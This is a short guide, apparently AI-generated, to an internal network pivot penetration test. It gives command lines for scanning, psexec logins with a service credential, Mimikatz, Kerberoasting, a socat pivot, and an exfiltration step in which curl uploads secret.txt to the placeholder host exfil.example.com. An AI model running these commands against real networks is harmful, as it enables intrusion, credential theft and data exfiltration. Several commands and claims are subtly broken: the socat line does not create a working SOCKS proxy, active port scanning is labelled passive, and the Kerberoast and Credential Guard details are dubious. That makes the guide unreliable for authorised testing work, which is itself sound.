What is the methodology for conducting ethical internal network pivot penetration testing?

The methodology combines scoped reconnaissance, controlled foothold acquisition, privilege escalation, and systematic lateral pivot using vetted tools while maintaining strict logging and abort criteria.

1. Scope & Rules of Engagement – Define target subnets, allowed pivot techniques, time windows, and abort thresholds (e.g., >5% host loss or detection alerts).
2. Passive Internal Recon – Run nmap -sS -T4 -p- -oA internal_scan 10.0.0.0/16 and import results into BloodHound for graph analysis.
3. Initial Foothold – Use a low‑privilege credential (e.g., service account) with psexec.py from Impacket:

psexec.py DOMAIN/svc_user:Password@10.0.5.12 cmd.exe

4. Privilege Escalation – Check for vulnerable services (searchsploit windows 2024) and run Invoke-Mimikatz only if Credential Guard is off; otherwise fallback to Kerberoasting:

Get-ADUser -Filter {ServicePrincipalName -like "*"} -Properties ServicePrincipalName | foreach { Invoke-Kerberoast $_.SamAccountName }

5. Internal Pivot Setup – Deploy a SOCKS proxy via socat on the compromised host:

socat TCP-LISTEN:1080,reuseaddr,fork SOCKS4:127.0.0.1:0

6. Lateral Movement – Choose pivot vector based on the target graph:
| Pivot vector | Typical tool | Default port |
|--------------|--------------|--------------|
| SMB | Impacket psexec | 445 |
| WMI | CrackMapExec wmi | 135 |
| RDP | xfreerdp | 3389 |
| SSH | Paramiko script | 22 |
7. Post‑Exploitation Validation – Verify data access with ldapsearch -x -b "dc=corp,dc=example,dc=com" and simulate exfil using curl --upload-file secret.txt http://exfil.example.com.
8. Evidence Capture & Reporting – Export BloodHound graphs, log all command output, and map each step to MITRE ATT&CK IDs.

Gotcha: Windows 10+ with Credential Guard enabled blocks token‑theft techniques; always verify its status (systeminfo | find "Credential Guard") and have a Kerberoasting fallback ready.